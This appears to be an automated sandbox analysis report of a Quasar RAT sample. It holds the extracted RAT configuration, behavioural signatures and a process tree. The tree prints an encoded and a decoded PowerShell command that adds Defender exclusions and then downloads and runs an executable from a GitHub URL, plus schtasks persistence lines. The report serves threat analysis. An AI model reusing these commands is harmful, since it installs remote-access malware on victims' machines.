Analysis
- max time kernel
150s - max time network
145s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
14/07/2026, 03:45
General
- Target 2026-07-14_6da74890831bae34b2eaef601a469655_elex.exe
- Size 2.0MB
- Sample260714-ea158afz31
- SHA256 3b914d2c1e3dde874418603d0a8b80c755f662670adba7c99ca9377df2729c4a
Malware Config
Extracted
-
quasar
-
1.4.1
-
Office04
-
192.168.100.9:5656
-
055f278b-0e88-4df6-aea5-0cb79c5d165b
-
encryption_key
4D5C036CE6CB036CC669C78EB6178091D7EAF77F
-
install_name
Client.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Quasar Client Startup
-
subdirectory
a7
Signatures
- Family: Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar payload 2 IoCs
- Detects Windows executables referencing non-Windows User-Agents 2 IoCs
- Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 2 IoCs
- Detects executables containing common artifacts observed in infostealers 2 IoCs
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 3 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Drops file in System32 directory 3 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 47 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-14_6da74890831bae34b2eaef601a469655_elex.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-14_6da74890831bae34b2eaef601a469655_elex.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Powershell -enc UwBUAEEAUgBUACAAUABPAFcARQBSAFMASABFAEwATAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAIAAnAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACAALQBGAE8AUgBDAEUAIAA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFcASQBOAEQATwBXAFMAIAAtAEYATwBSAEMARQAgADsAIABDAFUAUgBMACAALQBPACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAGMAQwBsAGkAZQBuAHQALQBiAHUAaQBsAHQALgBlAHgAZQAiACAAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBJAEsAeQBwADAAMQA1ADkALwB4AHAAZQBlAC8AcgBhAHcALwByAGUAZgBzAC8AaABlAGEAZABzAC8AbQBhAGkAbgAvAGMAQwBsAGkAZQBuAHQALQBiAHUAaQBsAHQALgBlAHgAZQAgADsAIABTAFQAQQBSAFQAIAAkAGUAbgB2ADoAVABFAE0AUABcAGMAQwBsAGkAZQBuAHQALQBiAHUAaQBsAHQALgBlAHgAZQAgADsAIABTAFQAQQBSAFQALQBTAEwARQBFAFAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAANgAwADAAMAAgADsAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAHAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAvAGMAQwBsAGkAZQBuAHQALQBiAHUAaQBsAHQALgBlAHgAZQAnACAALQBWACAAcgB1AG4AQQBzAA==2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePowershell -enc UwBUAEEAUgBUACAAUABPAFcARQBSAFMASABFAEwATAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAIAAnAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACAALQBGAE8AUgBDAEUAIAA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFcASQBOAEQATwBXAFMAIAAtAEYATwBSAEMARQAgADsAIABDAFUAUgBMACAALQBPACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAGMAQwBsAGkAZQBuAHQALQBiAHUAaQBsAHQALgBlAHgAZQAiACAAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBJAEsAeQBwADAAMQA1ADkALwB4AHAAZQBlAC8AcgBhAHcALwByAGUAZgBzAC8AaABlAGEAZABzAC8AbQBhAGkAbgAvAGMAQwBsAGkAZQBuAHQALQBiAHUAaQBsAHQALgBlAHgAZQAgADsAIABTAFQAQQBSAFQAIAAkAGUAbgB2ADoAVABFAE0AUABcAGMAQwBsAGkAZQBuAHQALQBiAHUAaQBsAHQALgBlAHgAZQAgADsAIABTAFQAQQBSAFQALQBTAEwARQBFAFAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAANgAwADAAMAAgADsAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAHAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAvAGMAQwBsAGkAZQBuAHQALQBiAHUAaQBsAHQALgBlAHgAZQAnACAALQBWACAAcgB1AG4AQQBzAA==3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:USERPROFILE -FORCE ; Add-MpPreference -ExclusionPath C:\WINDOWS -FORCE ; CURL -O "$env:TEMP\cClient-built.exe" https://github.com/IKyp0159/xpee/raw/refs/heads/main/cClient-built.exe ; START $env:TEMP\cClient-built.exe ; START-SLEEP -Milliseconds 6000 ; Remove-Item -path $env:TEMP/cClient-built.exe4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\cClient-built.exe"C:\Users\Admin\AppData\Local\Temp\cClient-built.exe"5⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Windows\system32\a7\Client.exe" /rl HIGHEST /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\a7\Client.exe"C:\Windows\system32\a7\Client.exe"6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Windows\system32\a7\Client.exe" /rl HIGHEST /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
-
-
-
C:\Windows\system32\a7\Client.exeC:\Windows\system32\a7\Client.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_3rf3se0n.knt.ps1
cClient-built.exe
memory/2224-62-0x000000001D030000-0x000000001D0E2000-memory.dmp
memory/2224-61-0x000000001B9C0000-0x000000001BA10000-memory.dmp
memory/3336-12-0x0000000006390000-0x00000000063DC000-memory.dmp
memory/3336-16-0x00000000079A0000-0x0000000007F5A000-memory.dmp
memory/3336-5-0x0000000005580000-0x00000000055A2000-memory.dmp
memory/3336-10-0x0000000005E20000-0x000000000617B000-memory.dmp
memory/3336-11-0x0000000006350000-0x000000000636E000-memory.dmp
memory/3336-0-0x00000000747D2000-0x00000000747D3000-memory.dmp
memory/3336-13-0x0000000007340000-0x00000000073D6000-memory.dmp
memory/3336-14-0x00000000068A0000-0x00000000068BA000-memory.dmp
memory/3336-15-0x00000000068F0000-0x0000000006912000-memory.dmp
memory/3336-7-0x0000000005CF0000-0x0000000005D56000-memory.dmp
memory/3336-18-0x00000000747C0000-0x0000000074F7C000-memory.dmp
memory/3336-6-0x0000000005620000-0x0000000005686000-memory.dmp
memory/3336-4-0x00000000747C0000-0x0000000074F7C000-memory.dmp
memory/3336-2-0x00000000056A0000-0x0000000005CEA000-memory.dmp
memory/3336-3-0x00000000747C0000-0x0000000074F7C000-memory.dmp
memory/3336-1-0x0000000004E80000-0x0000000004EB6000-memory.dmp
memory/4400-25-0x0000000000400000-0x0000000000511000-memory.dmp
memory/4724-27-0x00000000062D0000-0x000000000631C000-memory.dmp
memory/4724-39-0x00000000747C0000-0x0000000074F7C000-memory.dmp
memory/4724-29-0x0000000006410000-0x0000000006446000-memory.dmp
memory/4724-30-0x0000000075100000-0x000000007514C000-memory.dmp
memory/4724-24-0x00000000058F0000-0x0000000005C4B000-memory.dmp
memory/4724-33-0x00000000747C0000-0x0000000074F7C000-memory.dmp
memory/4724-34-0x0000000006450000-0x0000000006470000-memory.dmp
memory/4724-35-0x00000000747C0000-0x0000000074F7C000-memory.dmp
memory/4724-36-0x00000000070E0000-0x0000000007183000-memory.dmp
memory/4724-37-0x0000000007810000-0x0000000007E8C000-memory.dmp
memory/4724-38-0x0000000007210000-0x000000000721A000-memory.dmp
memory/4724-28-0x00000000747C0000-0x0000000074F7C000-memory.dmp
memory/4724-40-0x00000000747C0000-0x0000000074F7C000-memory.dmp
memory/4724-41-0x00000000747C0000-0x0000000074F7C000-memory.dmp
memory/4724-42-0x00000000747C0000-0x0000000074F7C000-memory.dmp
memory/4724-43-0x00000000747C0000-0x0000000074F7C000-memory.dmp
memory/4724-44-0x00000000747C0000-0x0000000074F7C000-memory.dmp
memory/4724-45-0x00000000747C0000-0x0000000074F7C000-memory.dmp
memory/4724-46-0x00000000747C0000-0x0000000074F7C000-memory.dmp
memory/4724-21-0x00000000747C0000-0x0000000074F7C000-memory.dmp
memory/4724-64-0x00000000747C0000-0x0000000074F7C000-memory.dmp
memory/4724-20-0x00000000747C0000-0x0000000074F7C000-memory.dmp
memory/4724-19-0x00000000747C0000-0x0000000074F7C000-memory.dmp
memory/4900-58-0x00000000004F0000-0x0000000000814000-memory.dmp